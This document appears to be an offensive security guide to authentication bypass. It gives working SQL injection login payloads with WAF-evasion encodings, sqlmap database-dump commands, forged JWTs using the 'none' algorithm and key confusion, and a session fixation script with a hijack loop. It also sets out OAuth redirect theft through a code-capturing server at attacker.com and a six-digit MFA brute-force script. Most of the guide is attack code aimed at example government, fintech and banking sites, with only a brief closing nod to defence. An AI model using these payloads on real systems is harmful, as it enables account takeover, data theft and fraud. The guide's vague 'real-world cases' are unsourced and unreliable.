Authentication Bypass Exploitation¶
This guide provides detailed exploitation techniques for authentication bypass vulnerabilities, including real-world examples, code snippets, and step-by-step methodologies.
1. SQL Injection Authentication Bypass¶
Technique Overview¶
SQL injection in authentication forms allows attackers to manipulate SQL queries to bypass login checks.
Real-World Case: Government Portal Breach (2021)¶
A national government portal used vulnerable authentication code that allowed SQL injection. Attackers gained access to citizen data by bypassing authentication.
Exploitation Steps¶
Step 1: Identify Vulnerable Login Form
POST /login HTTP/1.1
Host: vulnerable-gov-portal.gov
Content-Type: application/x-www-form-urlencoded
username=test&password=test
Step 2: Test for SQL Injection
username: admin'--
password: anything
-- Equivalent SQL: SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
Step 3: Advanced Bypass Payloads
-- Classic bypass
username: admin' OR '1'='1'--
password: anything
-- Union-based injection
username: admin' UNION SELECT 1,'admin','hashed_password',1--
password: anything
-- Boolean-based blind
username: admin' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
password: anything
Step 4: Automated Exploitation with SQLmap
# Test for injection
sqlmap -u "http://vulnerable-gov-portal.gov/login" --data="username=test&password=test" --level=5 --risk=3
# Dump database
sqlmap -u "http://vulnerable-gov-portal.gov/login" --data="username=test&password=test" --dump-all
# Specific table dump
sqlmap -u "http://vulnerable-gov-portal.gov/login" --data="username=test&password=test" -D app_db -T users --dump
Defense Bypass Techniques¶
WAF Bypass Payloads
-- URL encoding
username: admin%27%20OR%20%271%27%3D%271%27--
-- Double URL encoding
username: admin%2527%2520OR%2520%25271%2527%253D%25271%2527--
-- Unicode encoding
username: admin%C0%A7OR%C0%A71%C0%A7=C0%A71--
-- Comment variations
username: admin'/**/OR/**/'1'='1'--
2. JWT Token Manipulation Exploitation¶
Technique Overview¶
JSON Web Token manipulation allows attackers to modify token claims to escalate privileges or bypass authentication.
Real-World Case: Financial App Compromise (2022)¶
A fintech application failed to validate JWT signatures, allowing attackers to modify user roles from "user" to "admin".
Exploitation Steps¶
Step 1: Capture Valid JWT Token
GET /api/user/profile HTTP/1.1
Host: fintech-app.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwidXNlcm5hbWUiOiJqb2huIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2MzAwMDAwMDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Step 2: Decode and Analyze Token
import jwt
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwidXNlcm5hbWUiOiJqb2huIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2MzAwMDAwMDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# Decode without verification
decoded = jwt.decode(token, options={"verify_signature": False})
print(decoded)
# Output: {'sub': '1234', 'username': 'john', 'role': 'user', 'iat': 1630000000}
Step 3: Modify Token Claims
# Change role to admin
decoded['role'] = 'admin'
# Create new token with 'none' algorithm
new_token = jwt.encode(decoded, key='', algorithm='none')
print(new_token)
Step 4: Use Modified Token
GET /api/admin/dashboard HTTP/1.1
Host: fintech-app.com
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0IiwidXNlcm5hbWUiOiJqb2huIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjMwMDAwMDAwfQ.
Advanced JWT Attacks¶
Key Confusion Attack
# If server accepts RS256 but we have HS256 key
public_key = open('public.pem', 'r').read()
token = jwt.encode(decoded, key=public_key, algorithm='HS256')
JKU Header Injection
# Modify token to use attacker-controlled JWK set
decoded_header = {
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/jwks.json"
}
3. Session Fixation Exploitation¶
Technique Overview¶
Session fixation allows attackers to hijack user sessions by forcing victims to use attacker-controlled session IDs.
Real-World Case: E-commerce Session Hijacking (2020)¶
A major e-commerce platform was vulnerable to session fixation, leading to unauthorized purchases.
Exploitation Steps¶
Step 1: Obtain Fixated Session
import requests
# Attacker visits site and gets session
session = requests.Session()
response = session.get('https://vulnerable-store.com')
fixated_session_id = session.cookies.get('sessionid')
print(f"Fixated Session ID: {fixated_session_id}")
Step 2: Lure Victim to Use Session
<!-- Malicious page that sets the session cookie -->
<script>
document.cookie = "sessionid=fixated_session_id; domain=.vulnerable-store.com; path=/";
window.location = "https://vulnerable-store.com/login";
</script>
Step 3: Wait for Victim Authentication
# Attacker monitors the session
while True:
response = requests.get('https://vulnerable-store.com/profile',
cookies={'sessionid': fixated_session_id})
if "Welcome" in response.text:
print("Victim has authenticated!")
break
time.sleep(5)
Step 4: Hijack Session
# Access victim's account
response = requests.get('https://vulnerable-store.com/checkout',
cookies={'sessionid': fixated_session_id})
print("Accessing victim's checkout:", response.status_code)
4. OAuth Bypass Exploitation¶
Technique Overview¶
OAuth implementation flaws can allow attackers to bypass authentication or obtain unauthorized access tokens.
Real-World Case: Cloud Service Compromise (2021)¶
A cloud provider had OAuth redirect_uri validation flaws, allowing token theft.
Exploitation Steps¶
Step 1: Identify OAuth Endpoints
GET /.well-known/oauth-authorization-server
GET /.well-known/openid-configuration
Step 2: Manipulate Redirect URI
GET /oauth/authorize?
response_type=code&
client_id=12345&
redirect_uri=https://attacker.com/callback&
scope=openid%20profile%20email
Step 3: Code Interception
# Attacker's callback server
from flask import Flask, request
app = Flask(__name__)
@app.route('/callback')
def callback():
code = request.args.get('code')
print(f"Captured authorization code: {code}")
return "Thank you for authenticating!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Step 4: Exchange Code for Token
POST /oauth/token HTTP/1.1
Host: oauth-provider.com
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&
code=STOLEN_CODE&
redirect_uri=https://attacker.com/callback&
client_id=12345&
client_secret=CLIENT_SECRET
5. MFA Bypass Techniques¶
Technique Overview¶
Multi-Factor Authentication can be bypassed through various techniques including session manipulation and code reuse.
Real-World Case: Banking App MFA Bypass (2022)¶
A banking application allowed MFA bypass by reusing valid codes or skipping MFA verification.
Exploitation Methods¶
Session State Manipulation
# Bypass MFA by directly accessing post-MFA endpoints
GET /dashboard HTTP/1.1
Host: bank-app.com
Cookie: session=valid_session_id
X-Forwarded-For: 127.0.0.1
# Manipulate MFA verification state
POST /verify-mfa HTTP/1.1
Host: bank-app.com
Cookie: session=valid_session_id
Content-Type: application/json
{"verified": true, "mfa_code": "123456"}
Time-Based Code Reuse
# Brute force MFA codes (6-digit)
import requests
import itertools
session = requests.Session()
# ... obtain session through login
for code in itertools.product('0123456789', repeat=6):
mfa_code = ''.join(code)
response = session.post('/verify-mfa', json={'code': mfa_code})
if response.status_code == 200:
print(f"Valid MFA code: {mfa_code}")
break
MFA Bypass via API Endpoints
# Some apps have separate API endpoints that don't enforce MFA
GET /api/v1/user/profile HTTP/1.1
Host: app.com
Authorization: Bearer valid_token
# Versus the web interface that requires MFA
GET /web/profile HTTP/1.1
Host: app.com
Cookie: session=valid_session_id
6. Automated Exploitation Tools¶
SQLmap for Authentication Bypass¶
# Basic authentication bypass test
sqlmap -u "http://target.com/login" --data="username=admin&password=test" \
--level=5 --risk=3 --technique=B --batch
# Specific parameter targeting
sqlmap -u "http://target.com/login" --data="username=admin&password=test" \
-p username --prefix="'" --suffix="--"
# Time-based blind injection
sqlmap -u "http://target.com/login" --data="username=admin&password=test" \
--technique=T --time-sec=10
JWT Tool Suite¶
# JWT cracking
jwt-tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0In0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
# JWT scan for vulnerabilities
jwt-scan https://target.com/api/user --cookie "token=eyJhbGciOi..."
# JWT forge for token manipulation
python3 jwt_forge.py -t eyJhbGciOi... -k public.pem -a HS256
Custom Exploitation Scripts¶
#!/usr/bin/env python3
import requests
import sys
def test_sql_injection(url, payloads):
for payload in payloads:
data = {'username': payload, 'password': 'test'}
response = requests.post(url, data=data)
if "Welcome" in response.text or "Dashboard" in response.text:
print(f"SUCCESS with payload: {payload}")
return True
return False
# Common SQL injection payloads
payloads = [
"admin'--",
"admin'/*",
"admin'#",
"admin' OR '1'='1'--",
"admin' UNION SELECT 1,2,3--"
]
if __name__ == "__main__":
url = sys.argv[1]
test_sql_injection(url, payloads)
7. Defense Evasion Techniques¶
WAF Bypass Methods¶
-- Case variation
Admin' OR '1'='1'--
-- White space alternatives
admin'/**/OR/**/'1'='1'--
-- URL encoding
admin%27%20OR%20%271%27%3D%271%27--
-- Double URL encoding
admin%2527%2520OR%2520%25271%2527%253D%25271%2527--
-- Unicode encoding
admin%C0%A7OR%C0%A71%C0%A7=C0%A71--
Session Fixation Prevention Bypass¶
// Clear existing sessions before setting new one
document.cookie = "sessionid=; expires=Thu, 01 Jan 1970 00:00:00 GMT; domain=.target.com; path=/";
document.cookie = "sessionid=attacker_session; domain=.target.com; path=/";
OAuth Security Bypass¶
# Open redirect through parameter pollution
GET /oauth/authorize?redirect_uri=https://target.com/callback&redirect_uri=https://attacker.com
# Host header injection
GET /oauth/authorize?client_id=123&redirect_uri=https://target.com/callback
Host: attacker.com
8. Real-World Exploitation Framework¶
Comprehensive Testing Methodology¶
- Reconnaissance: Identify authentication endpoints and technologies
- Testing: Apply various bypass techniques systematically
- Validation: Verify successful bypass and access level
- Documentation: Record findings and evidence
- Reporting: Provide detailed exploitation proof
Example Exploitation Chain¶
def full_exploitation_chain(target_url):
# Step 1: Test SQL injection
if test_sql_injection(target_url + '/login'):
print("SQL injection vulnerability found!")
# Step 2: Test session fixation
session_id = test_session_fixation(target_url)
if session_id:
print(f"Session fixation possible: {session_id}")
# Step 3: Test JWT vulnerabilities
jwt_token = extract_jwt_token(target_url)
if test_jwt_manipulation(jwt_token):
print("JWT manipulation successful!")
# Step 4: Test OAuth flaws
if test_oauth_bypass(target_url):
print("OAuth bypass possible!")
This comprehensive exploitation guide provides security professionals with the tools and techniques needed to identify and exploit authentication bypass vulnerabilities effectively while understanding the corresponding defensive measures.